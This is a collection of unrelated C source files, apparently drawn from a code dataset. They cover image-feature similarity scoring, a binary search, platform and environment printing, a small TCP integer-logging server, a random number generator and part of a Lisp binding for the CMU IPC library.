s1 = (float*)( 2+(int*)bag2 );
n2 = *(1+(int*)bag1);
s2 = (float*)( 2+(int*)bag1 );
}
for(i=0; i<n1; ++i)
for(j=0; j<n2; ++j)
{
//
d = edist(&s1[i*ndims], &s2[j*ndims], ndims);
//
if(d < t)
{
++n;
break;
}
}
//
//return n;
return 100*n/n1;
}
/*
*/
int hamm(uint8_t s1[], uint8_t s2[], int nbytes)
{
int i, h;
static int popcntlut[256] =
{
0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4,
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,
4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8
};
//
h = 0;
for(i=0; i<nbytes; ++i)
h = h + popcntlut[s1[i]^s2[i]];
//
return h;
}
int get_score_b(void* bag1, void* bag2, int t)
{
int i, j, k, h, n, nbytes;
uint8_t* s1;
uint8_t* s2;
//
nbytes = *(int*)bag1;
if(nbytes != *(int*)bag2)
return 0;
//
n = 0;
int n1, n2;
if(*(1+(int*)bag1) < *(1+(int*)bag2))
{
n1 = *(1+(int*)bag1);
s1 = (uint8_t*)( 2+(int*)bag1 );
n2 = *(1+(int*)bag2);
s2 = (uint8_t*)( 2+(int*)bag2 );
}
else
{
n1 = *(1+(int*)bag2);
s1 = (uint8_t*)( 2+(int*)bag2 );
n2 = *(1+(int*)bag1);
s2 = (uint8_t*)( 2+(int*)bag1 );
}
for(i=0; i<n1; ++i)
for(j=0; j<n2; ++j)
{
//
h = hamm(&s1[i*nbytes], &s2[j*nbytes], nbytes);
//
if(h < t)
{
++n;
break;
}
}
//
return n;
}
/*
*/
char magic[4] = "";
int ndims=0, nbags=0;
char labels[16384][32];
void* bags[16384];
int load_bags(char* path)
{
char buffer[1024];
FILE* file;
//
sprintf(buffer, "%s/list", path);
file = fopen(buffer, "r");
if(!file)
{
printf("* cannot open '%s'\n", buffer);
return 0;
}
//
nbags = 0;
while(1 == fscanf(file, "%s", &labels[nbags][0]))
{
FILE* tmpfile;
char tmpbuffer[1024];
//
sprintf(tmpbuffer, "%s/%s", path, &labels[nbags][0]);
tmpfile = fopen(tmpbuffer, "rb");
if(tmpfile)
{
int n;
//
fread(magic, 1, 4, tmpfile);
if(magic[0]=='f')
{
//
fread(&ndims, 1, sizeof(int), tmpfile);
fread(&n, 1, sizeof(int), tmpfile);
//
bags[nbags] = malloc(2*sizeof(int)+ndims*n*sizeof(float));
//
*(int*)bags[nbags] = ndims;
*(1+(int*)bags[nbags]) = n;
//
fread(2+(int*)bags[nbags], sizeof(float), n*ndims, tmpfile);
}
else if(magic[0]=='b')
{
//
fread(&ndims, 1, sizeof(int), tmpfile);
fread(&n, 1, sizeof(int), tmpfile);
//
bags[nbags] = malloc(2*sizeof(int)+ndims*n*sizeof(uint8_t));
//
*(int*)bags[nbags] = ndims;
*(1+(int*)bags[nbags]) = n;
//
fread(2+(int*)bags[nbags], sizeof(uint8_t), n*ndims, tmpfile);
}
else
{
//
fread(&ndims, 1, sizeof(int), tmpfile);
//
bags[nbags] = malloc(1*sizeof(int)+ndims*sizeof(float));
//
*(int*)bags[nbags] = ndims;
//
fread(1+(int*)bags[nbags], sizeof(float), ndims, tmpfile);
}
//
fclose(tmpfile);
//
char* str = &labels[nbags][0];
while(*str!='.')
++str;
*str = '\0';
//
++nbags;
}
}
fclose(file);
//
return 1;
}
/*
*/
int S[16384][16384];
void compute_similarity_matrix(float thr)
{
int i;
#pragma omp parallel for
for(i=0; i<nbags; ++i)
{
int j;
for(j=0; j<nbags; ++j)
/*if(i==j)
S[i][j] = 0;
else
*/
{
int score;
//
if(magic[0] == 'b')
score = get_score_b(bags[i], bags[j], (int)thr);
else if(magic[0] == 'f')
score = get_score_f(bags[i], bags[j], thr);
else
score = get_score_h(bags[i], bags[j]);
//
S[i][j] = score;
}
}
// print similarity matrix
/*
printf("\n-------------------\n");
for(i=0; i<nbags; ++i)
{
int j;
//
for(j=0; j<nbags; ++j)
printf("%d\t", S[i][j]);
//
printf("\n");
}
printf("-------------------\n");
//*/
}
int load_similarity_matrix(const char path[])
{
int i, j;
FILE* file;
//
file = fopen(path, "r");
if(!file)
return 0;
//
magic[0] = 'm';
magic[1] = 't';
magic[2] = 'r';
magic[3] = 'x';
//
fscanf(file, "%d", &nbags);
for(i=0; i<nbags; ++i)
{
//
fscanf(file, "%s", &labels[i][0]);
//
char* str = &labels[i][0];
while(*str!='\0' && *str!='.')
++str;
*str = '\0';
//
//printf("%s\n", labels[i]);
}
for(i=0; i<nbags; ++i)
for(j=0; j<nbags; ++j)
fscanf(file, "%d", &S[i][j]);
//
fclose(file);
//
return 1;
}
/*
*/
void nn(float* onenn, float* t1, float* t2, float* avgp, float* avgn)
{
int i, ncorrect[3], nretrieved[3], nrelevant[3];
int np, nn;
//
ncorrect[0] = 0;
ncorrect[1] = 0;
ncorrect[2] = 0;
nretrieved[0] = 0;
nretrieved[1] = 0;
nretrieved[2] = 0;
nrelevant[0] = 0;
nrelevant[1] = 0;
nrelevant[2] = 0;
nn = np = 0;
*avgp = 0.0f;
*avgn = 0.0f;
//
//#pragma omp parallel for
for(i=0; i<nbags; ++i)
{
int n, nc, j, k, l, topinds[128], topscores[128];
// get the size of the class to which bag[i] belongs
nc = 0;
for(j=0; j<nbags; ++j)
if(0==strcmp(&labels[i][0], &labels[j][0]))
++nc;
//
n = 2*(nc-1);
for(k=0; k<n; ++k)
topscores[k] = -1;
for(j=0; j<nbags; ++j)
if(i!=j)
{
int score;
//
score = S[i][j];
//
topscores[n] = -1;
k=0;
while(score <= topscores[k])
++k;
for(l=n-1; l>k; --l)
{
topscores[l] = topscores[l-1];
topinds[l] = topinds[l-1];
}
topscores[k] = score;
topinds[k] = j;
//
//#pragma omp critical
{
if(0==strcmp(&labels[i][0], &labels[j][0]))
{
++np;
*avgp = *avgp + score;
}
else
{
++nn;
*avgn = *avgn + score;
}
}
}
//
//#pragma omp critical
{
// nn
if(0==strcmp(&labels[i][0], &labels[topinds[0]][0]))
++ncorrect[0];
nretrieved[0] += 1;
nrelevant[0] += nc-1;
// 1st tier
for(k=0; k<nc-1; ++k)
if(0==strcmp(&labels[i][0], &labels[topinds[k]][0]))
++ncorrect[1];
nretrieved[1] += nc-1;
nrelevant[1] += nc-1;
// 2nd tier
for(k=0; k<2*(nc-1); ++k)
if(0==strcmp(&labels[i][0], &labels[topinds[k]][0]))
++ncorrect[2];
nretrieved[2] += 2*(nc-1);
nrelevant[2] += nc-1;
}
}
//
*onenn = ncorrect[0]/(float)nretrieved[0];
*t1 = ncorrect[1]/(float)nrelevant[1];
*t2 = ncorrect[2]/(float)nrelevant[2];
*avgp = *avgp/np;
*avgn = *avgn/nn;
}
/*
*/
int main(int argc, char** argv)
{
float t, thr, t1, t2, onenn, avgp, avgn;
if(argc==2)
{
//
t = getticks();
if(!load_similarity_matrix(argv[1]))
return 0;
//
nn(&onenn, &t1, &t2, &avgp, &avgn);
printf("(t: %d [s]): nn = %f T1 = %f T2 = %f\n", (int)(getticks()-t), onenn, t1, t2);
//
return 0;
}
else if(argc!=3)
{
printf("* source folder\n");
printf("* threshold\n");
return 0;
}
//
if(!load_bags(argv[1]))
return 0;
sscanf(argv[2], "%f", &thr);
//
if(nbags == 2)
{
//
printf("%d\n", get_score_b(bags[0], bags[1], thr) );
//
return 0;
}
//
if(magic[0] == 'b')
printf("* %c%c%c%c%d@%d ", magic[0], magic[1], magic[2], magic[3], 8*ndims, (int)thr);
else
printf("* %c%c%c%c%d@%f ", magic[0], magic[1], magic[2], magic[3], ndims, thr);
//
t = getticks();
compute_similarity_matrix(thr);
nn(&onenn, &t1, &t2, &avgp, &avgn);
printf("(t: %d [s]): NN = %f FT = %f ST = %f\n", (int)(getticks()-t), onenn, t1, t2);
//
return 0;
}
|
the_stack_data/126702115.c | #include <stdio.h>
#include <stdlib.h>
int binary_search(int arr[], int size, int target) {
int low = 0;
int high = size - 1;
int mid;
while (low <= high) {
mid = (low + high)/2;
if (arr[mid] == target) {
return mid;
}
if (arr[mid] < target) {
low = mid + 1;
}
if (arr[mid] > target) {
high = mid - 1;
}
}
return -1;
}
void read_int(int *n) {
int result = scanf("%d", n);
if (result == EOF) {
exit(-1);
}
}
void read_array(int *a, int n) {
for (int i = 0; i < n; i++) {
read_int(&a[i]);
}
}
int main() {
int n;
read_int(&n);
if (n <= 0) return 1;
int a[n];
read_array(a, n);
int x;
read_int(&x);
int result = binary_search(a, n, x);
printf("result = %d\n", result);
return 0;
}
|
the_stack_data/76700180.c | #define dump_ld(v) printf(#v "=%ld\n",(long int)v)
#define dump_d(v) printf(#v "=%d\n",(int)v)
#define dump_s(v) printf(#v "=%s\n",(char*)v)
#define dump(v,t) dump##_##t(v)
int main(int argc, char* argv[], char** envp){
extern int printf(const char*,...);
/* architecture */
#if defined(__i386__) || defined _M_IX86
printf("32bit\n");
#endif
#if defined(__x86_64__) || defined _M_AMD64
printf("64bit\n");
#endif
#if defined(__aarch64__)
printf("arm\n");
printf("64bit\n");
#endif
#if defined(__riscv) && defined(__LP64__)
printf("riscv\n");
printf("64bit\n");
#endif
/* OS */
#if defined (__linux__)
printf("linux(__linux__)\n");
#endif
#if defined (__FreeBSD__) || defined (__FreeBSD_kernel__)
printf("freebsd(__FreeBSD__/__FreeBSD_kernel__)\n");
#endif
#ifdef __APPLE__
printf("darwin(__APPLE__)\n");
#endif
#ifdef _WIN32
printf("win(_WIN32)=%d\n",_WIN32);
#endif
#ifdef TCC_LIBTCC1
printf("TCC_LIBTCC1=%s\n",TCC_LIBTCC1);
#endif
/* calling convention and ABI */
//#if defined (__ARM_EABI__)
//# if defined (__ARM_PCS_VFP)
//# define TRIPLET_ABI "gnueabihf"
//# else
//# define TRIPLET_ABI "gnueabi"
//# endif
//#else
//# define TRIPLET_ABI "gnu"
//#endif
printf("------------------------------------------------------------\n");
#ifdef _WIN32
#else
//if(!envp){ printf("empty envp?\n"); }
extern char ** environ;
if(!envp)
envp = environ;
#endif
int ii = 0;
while (envp && envp[ii] != 0)
{
printf("envp: %s\n",envp[ii]);
ii++;
}
for(int j=0; j<argc; j++){
printf("%d: %s\n",j,argv[j]);
}
printf("------------------------------------------------------------\n");
#if 0
//extern void getcwd();
//char buffer[255];
//getcwd(buffer,255);
//printf("getcwd=%s\n",buffer);
typedef void* ffic_ptr;
typedef ffic_ptr(
#ifdef _WIN32
__attribute__((__stdcall__))
#endif
*ffic_func)();
extern ffic_func(*ffic(const char*, const char*))();
char path[512]; int size = 512;
///#ifdef _WIN32
/// ffic_func c_GetModuleFileName = ffic("kernel32","GetModuleFileNameA");
/// dump(c_GetModuleFileName,ld);
/// c_GetModuleFileName(0,path,&size);
///#else
///#ifdef __APPLE__
/// ffic_func c___NSGetExecutablePath = ffic("libc","_NSGetExecutablePath");
/// dump(c___NSGetExecutablePath,ld);
/// c___NSGetExecutablePath(path,&size);
///#endif
///#endif
/// dump(path,s);
extern char* strrchr(const char*,int);
//char *basename = strrchr(path, '\\');
char *basename = strrchr(path,
#ifdef _WIN32
'\\'
#else
'/'
#endif
);
if(basename && *(basename+1)!=0){
dump(basename,s);
*basename = 0;
dump(path,s);
}
//TODO basename()
//TODO zend_dirname()
//https://github.com/php/php-src/blob/09904242af6b3d9bcc1c1c8c21cb81d128382b3f/Zend/zend_compile.c
//TODO
//Mac OS X: _NSGetExecutablePath() (man 3 dyld)
//Linux: readlink /proc/self/exe
//Solaris: getexecname()
//FreeBSD: sysctl CTL_KERN KERN_PROC KERN_PROC_PATHNAME -1
//FreeBSD if it has procfs: readlink /proc/curproc/file (FreeBSD doesn't have procfs by default)
//NetBSD: readlink /proc/curproc/exe
//DragonFly BSD: readlink /proc/curproc/file
//Windows: GetModuleFileName() with hModule = NULL
#endif
return 0;
}
//tcc(-tcc1)
//int _runmain(int argc, char* argv[], char** envp){
// return main(argc,argv,envp);
//}
|
the_stack_data/29826366.c | #include <stdio.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdlib.h>
#define PORT 4444
pthread_mutex_t mutex;
FILE *output;
void handleConnection(void *clientSocket)
{
pthread_mutex_lock(&mutex);
int buf;
while(true)
{
int getBuff = recv(*(int*)clientSocket, &buf, 4, 0);
if(getBuff == 0)
break;
printf("%d\n", buf);
fprintf(output, "%d\n", buf);
fflush(output);
}
close(*(int*)clientSocket);
free(clientSocket);
pthread_mutex_unlock(&mutex);
}
int main()
{
int serverSocket;
output = fopen("output.txt", "w");
pthread_mutex_init(&mutex, NULL);
struct sockaddr_in serverAddr;
socklen_t serverAddr_size = sizeof(serverAddr);
serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket < 0){
printf("Error in connection.\n");
exit(1);
}
printf("Server Socket is created.\n");
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(PORT);
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
int ret = bind(serverSocket, (struct sockaddr*)&serverAddr, serverAddr_size);
if(ret < 0)
{
printf("Error in binding.\n");
exit(1);
}
if(listen(serverSocket, 3) == 0)
{
printf("Listening...\n");
}
else
{
printf("Error in binding.\n");
}
while(true)
{
struct sockaddr_in clientAddr;
socklen_t clientAddr_size = sizeof(clientAddr);
int *clientSocket = (int*)malloc(sizeof(int));
*clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &clientAddr_size);
pthread_t thread;
pthread_create(&thread, NULL, handleConnection, (void *) clientSocket);
}
}
|
the_stack_data/82948980.c | #include <assert.h>
#include <stdlib.h>
int main()
{
int *p;
p=(int *)malloc(sizeof(int));
*p=1;
assert(*p==1);
free(p);
}
|
the_stack_data/59734.c | //
// Bern, 26/11/2001 - First used by M. Giugliano for the Mee_Duck *generate_trial* project
// Antwerp, Aug - Sep 2011, revised and cross-checked for Eleni's joint project.
//
//
#include <math.h>
//
// double drand49(): returns a random floating-point uniformly distributed between 0.0 and 1.0 (from Numerical Recipes - Press et al.)
// double srand49(long): initializes the seed and returns a uniformly distributed between 0.0 and 1.0 (from Numerical Recipes - Press et al.)
// double gauss() : returns a normally distributed random number (i.e. zero mean, unitary variance and Gaussian distribution density) (from Numerical Recipes - Press et al.)
//
// long mysrand49(long): initializes the seed and returns the previous one <---- NEW ADD-ON FUNCTION
//
static long rand49_idum = -77531;
#define MM 714025
#define IA 1366
#define IC 150889
//----------------------------------------------------------------------------------------------------------------
double drand49() {
static long iy,ir[98];
static int iff=0;
int j;
if (rand49_idum < 0 || iff == 0) {
iff=1;
if((rand49_idum=(IC-rand49_idum) % MM)<0)
rand49_idum=(-rand49_idum);
for (j=1;j<=97;j++) {
rand49_idum=(IA*(rand49_idum)+IC) % MM;
ir[j]=(rand49_idum);
}
rand49_idum=(IA*(rand49_idum)+IC) % MM;
iy=(rand49_idum);
}
j=1 + 97.0*iy/MM;
if (j > 97 || j < 1) printf("drand49(): This cannot happen.");
iy=ir[j];
rand49_idum=(IA*(rand49_idum)+IC) % MM;
ir[j]=(rand49_idum);
return (double) iy/MM;
} // end drand49()
//----------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------
double srand49(seed)
long seed;
{
rand49_idum=(-seed);
return drand49();
} // end srand49()
//----------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------
long mysrand49(seed)
long seed;
{
long temp;
temp = rand49_idum;
rand49_idum = (-seed);
return temp;
} // end mysrand49()
//----------------------------------------------------------------------------------------------------------------
#undef MM
#undef IA
#undef IC
//----------------------------------------------------------------------------------------------------------------
// Returns a normally distributed random number (i.e. zero mean, unitary variance and Gaussian distribution density
double gauss() {
static int iset=0;
static double gset;
double fac,r,v1,v2;
if (iset == 0) {
do {
v1=2.0*drand49()-1.0;
v2=2.0*drand49()-1.0;
r=v1*v1+v2*v2;
} while (r >= 1.0);
fac=sqrt(-2.0*log(r)/r);
gset=v1*fac;
iset=1;
return v2*fac;
} else {
iset=0;
return gset;
}
} // end gauss()
//----------------------------------------------------------------------------------------------------------------
|
the_stack_data/151285.c | #if defined(LISP) || defined(JAVA)
/*****************************************************************************
* PROJECT: New Millennium
*
* (c) Copyright 1996 Reid Simmons. All rights reserved.
*
* FILE: ipcLisp.c
*
* ABSTRACT: Functions needed specifically for LISP version of IPC.
* The idea is to put them in their own separate file, so that
* they won't be linked into C programs. This is especially
* necessary for Allegro, which depends on a function, lisp_value,
* that is found only in the Allegro CL environment.
*
* Copyright (c) 2008, Carnegie Mellon University
* This software is distributed under the terms of the
* Simplified BSD License (see ipc/LICENSE.TXT)
*
* REVISION HISTORY
*
* $Log: ipcLisp.c,v $
* Revision 2.5 2009/01/12 15:54:56 reids
* Added BSD Open Source license info
*
* Revision 2.4 2002/01/03 20:52:12 reids
* Version of IPC now supports multiple threads (Caveat: Currently only
* tested for Linux).
* Also some minor changes to support Java version of IPC.
*
* Revision 2.3 2001/01/10 15:32:50 reids
* Added the function IPC_subscribeData that automatically unmarshalls
* the data before invoking the handler.
*
* Revision 2.2 2000/07/03 17:03:25 hersh
* Removed all instances of "tca" in symbols and messages, plus changed
* the names of all other symbols which conflicted with TCA. This new
* version of IPC should be able to interoperate TCA fully. Client
* programs can now link to both tca and ipc.
*
* Revision 2.1.1.1 1999/11/23 19:07:36 reids
* Putting IPC Version 2.9.0 under local (CMU) CVS control.
*
* Revision 1.1.2.7 1997/03/07 17:49:43 reids
* Added support for OS2, needed by JSC team (thanks to Bob Goode).
* Also fixed bug when passing between machines of different endianness.
*
* Revision 1.1.2.6 1997/01/27 20:39:43 reids
* For Lisp, force all format enum values to uppercase; Yields more efficient
* C <=> Lisp conversion of enumerated types.
*
* Revision 1.1.2.5 1997/01/27 20:09:34 udo
* ipc_2_6_006 to r3_Dev merge
*
* Revision 1.1.2.3 1997/01/21 17:21:13 reids
* Fixed stringEqualNoCase for VxWorks version.
*
* Revision 1.1.2.2 1997/01/16 22:18:18 reids
* Added error checking code for use by Lisp.
*
* Revision 1.1.2.1 1997/01/11 01:21:03 udo
* ipc 2.6.002 to r3_dev merge
*
* Revision 1.1.2.2 1996/12/27 19:26:03 reids
* Added formatters for unsigned short, int and long.
* Fixed the way Lisp is passed integer values of various sizes.
*
* Revision 1.1.2.1 1996/12/24 14:41:40 reids
* Merge the C and Lisp IPC libraries (both C and Lisp modules can now
* link with the same libipc.a).
* Moved the Lisp-specific code to ipcLisp.c: Cleaner design and it will
* not be linked into C modules this way.
*
* $Revision: 2.5 $
* $Date: 2009/01/12 15:54:56 $
* $Author: reids $
*
*****************************************************************************/
#include <stdio.h>
#include "globalM.h"
#ifdef DOS_FILE_NAMES
#include "primFmtt.h"
#else
#include "primFmttrs.h"
#endif
#if 0
#ifdef PC_ALLEGRO
#include "C:\acl432\lisp.h"
extern int lisp_value(int a);
#endif /* PC_ALLEGRO */
#endif
#if defined(ALLEGRO)
#include "lisp.h"
extern int lisp_value(int a);
#endif /* ALLEGRO */
/******************************************************************************
* Forward Declarations
*****************************************************************************/
#ifdef macintosh
#pragma export on
#endif
X_IPC_REF_PTR returnRootGlobal(void);
void x_ipcSetSizeEncodeDecode(int (* x_ipc_bufferSize)(int32 *, CONST_FORMAT_PTR),
long (* encode)(CONST_FORMAT_PTR, BUFFER_PTR),
long (* decode)(CONST_FORMAT_PTR, BUFFER_PTR),
int (* lispExit)(void)
#ifdef NMP_IPC
,int (* lispQueryResponse)(char *, CONST_FORMAT_PTR)
#endif
);
X_IPC_REF_PTR x_ipcQuerySendRefLISPC (void);
int32 x_ipcRefDataLisp(X_IPC_REF_PTR ref);
char *lisp_Data_Flag(void);
void blockCopyToArray(BUFFER_PTR buffer, char *array, int32 amount);
void blockCopyFromArray(BUFFER_PTR buffer, char *array, int32 amount);
void setIntValue(int32 *item, int32 value);
int32 formatPrimitiveProc(FORMAT_PTR format);
int32 formatType(FORMAT_PTR format);
FORMAT_PTR formatChoosePtrFormat(CONST_FORMAT_PTR format,
FORMAT_PTR parentFormat);
FORMAT_ARRAY_PTR formatFormatArray(FORMAT_PTR format);
int32 formatFormatArrayMax(FORMAT_ARRAY_PTR formatArray);
FORMAT_PTR formatFormatArrayItem(FORMAT_ARRAY_PTR formatArray, int32 i);
void formatPutChar(BUFFER_PTR buffer, char c);
char formatGetChar(BUFFER_PTR buffer);
void formatPutByte(BUFFER_PTR buffer, int32 i);
int32 formatGetByte(BUFFER_PTR buffer);
void formatPutUByte(BUFFER_PTR buffer, int32 i);
int32 formatGetUByte(BUFFER_PTR buffer);
void formatPutShort(BUFFER_PTR buffer, int32 i);
int32 formatGetShort(BUFFER_PTR buffer);
void formatPutInt(BUFFER_PTR buffer, int32 i);
int32 formatGetInt(BUFFER_PTR buffer);
#ifdef PC_ALLEGRO
void formatGetFloat(BUFFER_PTR buffer, float *fVal);
void formatPutFloat(BUFFER_PTR buffer, float f);
void formatGetDouble(BUFFER_PTR buffer, double *dVal);
#else
double formatGetFloat(BUFFER_PTR buffer);
void formatPutFloat(BUFFER_PTR buffer, double f);
double formatGetDouble(BUFFER_PTR buffer);
#endif /* PC_ALLEGRO */
void formatPutDouble(BUFFER_PTR buffer, double d);
void formatPutUShort(BUFFER_PTR buffer, int32 i);
unsigned int formatGetUShort(BUFFER_PTR buffer);
void formatPutUInt(BUFFER_PTR buffer, int32 i);
unsigned int formatGetUInt(BUFFER_PTR buffer);
CONST_FORMAT_PTR findNamedFormat (CONST_FORMAT_PTR format);
int32 enumStringIndex (CONST_FORMAT_PTR format, char *enumString);
char *enumValString (CONST_FORMAT_PTR format, int32 enumVal);
int msgByteOrder (void);
int hostByteOrder (void);
int32 DecodeInteger(GENERIC_DATA_PTR DataArray, int32 Start);
double DecodeFloat(GENERIC_DATA_PTR DataArray, int32 Start);
void EncodeInteger(int32 Integer, GENERIC_DATA_PTR DataArray, int32 Start);
double DecodeFloat(GENERIC_DATA_PTR DataArray, int32 Start);
void EncodeFloat(double Float, GENERIC_DATA_PTR DataArray, int32 Start);
float DecodeDouble(GENERIC_DATA_PTR DataArray, int32 Start);
void EncodeDouble(double Double, GENERIC_DATA_PTR DataArray, int32 Start);
void BCOPY_Bytes(char Array1[], int32 Start1, char Array2[], int32 Start2,
int32 Num_Bytes);
#ifdef macintosh
#pragma export off
#endif
X_IPC_REF_PTR returnRootGlobal(void)
{
return(x_ipcRootNode());
}
#ifdef LISP
void x_ipcSetSizeEncodeDecode(int (* x_ipc_bufferSize)(int32 *, CONST_FORMAT_PTR),
long (* encode)(CONST_FORMAT_PTR, BUFFER_PTR),
long (* decode)(CONST_FORMAT_PTR, BUFFER_PTR),
int (* lispExit)(void)
#ifdef NMP_IPC
,int (* lispQueryResponse)(char *, CONST_FORMAT_PTR)
#endif
)
{
LOCK_M_MUTEX;
(GET_M_GLOBAL(lispBufferSizeGlobal)) = x_ipc_bufferSize;
(GET_M_GLOBAL(lispEncodeMsgGlobal)) = encode;
(GET_M_GLOBAL(lispDecodeMsgGlobal)) = decode;
(GET_M_GLOBAL(lispExitGlobal)) = lispExit;
#ifdef NMP_IPC
(GET_M_GLOBAL(lispQueryResponseGlobal)) = lispQueryResponse;
#endif
UNLOCK_M_MUTEX;
}
/*****************************************************************
* Return to LISP the reference created for a x_ipcQuerySend or x_ipcMultiQuery.
* There may be a cleaner way to do this, but this seems the easiest
* and quickest to implement (reids 11/13/92)
****************************************************************/
X_IPC_REF_PTR x_ipcQuerySendRefLISPC (void)
{
X_IPC_REF_PTR result;
LOCK_M_MUTEX;
result = GET_M_GLOBAL(lispRefSaveGlobal);
UNLOCK_M_MUTEX;
return result;
}
/* 25-Jun-91: fedor: this is really a cheap shot at making ref data work
for lisp - lets hope it works. */
int32 x_ipcRefDataLisp(X_IPC_REF_PTR ref)
{
int32 refId, sd;
MSG_PTR msg;
X_IPC_REF_PTR waitRef;
X_IPC_RETURN_VALUE_TYPE returnValue;
char *lispDataFlag;
msg = x_ipc_msgFind(X_IPC_REF_DATA_QUERY);
if (msg == NULL) return 0;
if (!ref->msg) {
if (!ref->name) {
/* 17-Jun-91: fedor: start enforcing correct refs */
X_IPC_MOD_ERROR1("ERROR: x_ipcReferenceData: Badly Formed Reference: %d\n",
ref->refId);
return 0;
}
ref->msg = x_ipc_msgFind(ref->name);
if (ref->msg == NULL) return 0;
}
/* 17-Jun-91: fedor: check if any message form */
if (!ref->msg->msgData->msgFormat)
return 0;
refId = x_ipc_nextSendMessageRef();
returnValue = x_ipc_sendMessage((X_IPC_REF_PTR)NULL, msg,
(char *)&ref->refId, (char *)NULL, refId);
if (returnValue != Success) {
X_IPC_MOD_ERROR("ERROR: x_ipcReferenceData: x_ipc_sendMessage Failed.\n");
return 0;
}
waitRef = x_ipcRefCreate(ref->msg, ref->name, refId);
LOCK_CM_MUTEX;
sd = GET_C_GLOBAL(serverRead);
lispDataFlag = LISP_DATA_FLAG();
UNLOCK_CM_MUTEX;
returnValue = x_ipc_waitForReplyFrom(waitRef, lispDataFlag, TRUE,
WAITFOREVER, sd);
x_ipcRefFree(waitRef);
if (returnValue == NullReply) {
/* 17-Jun-91: fedor: if NullReply then nothing else was malloced. */
return 0;
}
else
return 1;
}
char *lisp_Data_Flag(void)
{
char *lispDataFlag;
LOCK_M_MUTEX;
lispDataFlag = LISP_DATA_FLAG();
UNLOCK_M_MUTEX;
return lispDataFlag;
}
#ifdef LISPWORKS_FFI_HACK
/* To deal with the fact that Lispworks on VxWorks cannot call Lisp functions
from C */
/* Apparently have the same problem with Mac Common Lisp (at least using CodeWarrior C) */
#ifdef macintosh
#pragma export on
#endif
EXECHND_STATE_ENUM execHndState_state(void);
void setExecHndState_state(EXECHND_STATE_ENUM state);
X_IPC_REF_PTR execHndState_x_ipcRef(void);
const char *execHndState_hndName(void);
void *execHndState_data(void);
void *execHndState_clientData(void);
CONNECTION_PTR execHndState_connection(void);
MSG_PTR execHndState_msg(void);
int execHndState_tmpParentRef(void);
int execHndState_tmpResponse(void);
#ifdef macintosh
#pragma export off
#endif
EXECHND_STATE_ENUM execHndState_state(void)
{
EXECHND_STATE_ENUM result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).state;
UNLOCK_CM_MUTEX;
return result;
}
void setExecHndState_state(EXECHND_STATE_ENUM state)
{
LOCK_CM_MUTEX;
GET_C_GLOBAL(execHndState).state = state;
UNLOCK_CM_MUTEX;
}
X_IPC_REF_PTR execHndState_x_ipcRef(void)
{
X_IPC_REF_PTR result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).x_ipcRef;
UNLOCK_CM_MUTEX;
return result;
}
const char *execHndState_hndName(void)
{
const char *result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).hndName;
UNLOCK_CM_MUTEX;
return result;
}
void *execHndState_data(void)
{
void *result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).data;
UNLOCK_CM_MUTEX;
return result;
}
void *execHndState_clientData(void)
{
void *result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).clientData;
UNLOCK_CM_MUTEX;
return result;
}
CONNECTION_PTR execHndState_connection(void)
{
void *result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).clientData;
UNLOCK_CM_MUTEX;
return result;
}
MSG_PTR execHndState_msg(void)
{
MSG_PTR result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).msg;
UNLOCK_CM_MUTEX;
return result;
}
int execHndState_tmpParentRef(void)
{
int result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).tmpParentRef;
UNLOCK_CM_MUTEX;
return result;
}
int execHndState_tmpResponse(void)
{
int result;
LOCK_CM_MUTEX;
result = GET_C_GLOBAL(execHndState).tmpResponse;
UNLOCK_CM_MUTEX;
return result;
}
#endif /* LISPWORKS_FFI_HACK */
#endif
void blockCopyToArray(BUFFER_PTR buffer, char *array, int32 amount)
{
BCOPY(buffer->buffer+buffer->bstart, array, amount);
buffer->bstart += amount;
}
void blockCopyFromArray(BUFFER_PTR buffer, char *array, int32 amount)
{
BCOPY(array, buffer->buffer+buffer->bstart, amount);
buffer->bstart += amount;
}
void setIntValue(int32 *item, int32 value)
{
*item = value;
}
int32 formatPrimitiveProc(FORMAT_PTR format)
{
return(format->formatter.i);
}
int32 formatType(FORMAT_PTR format)
{
return(format->type);
}
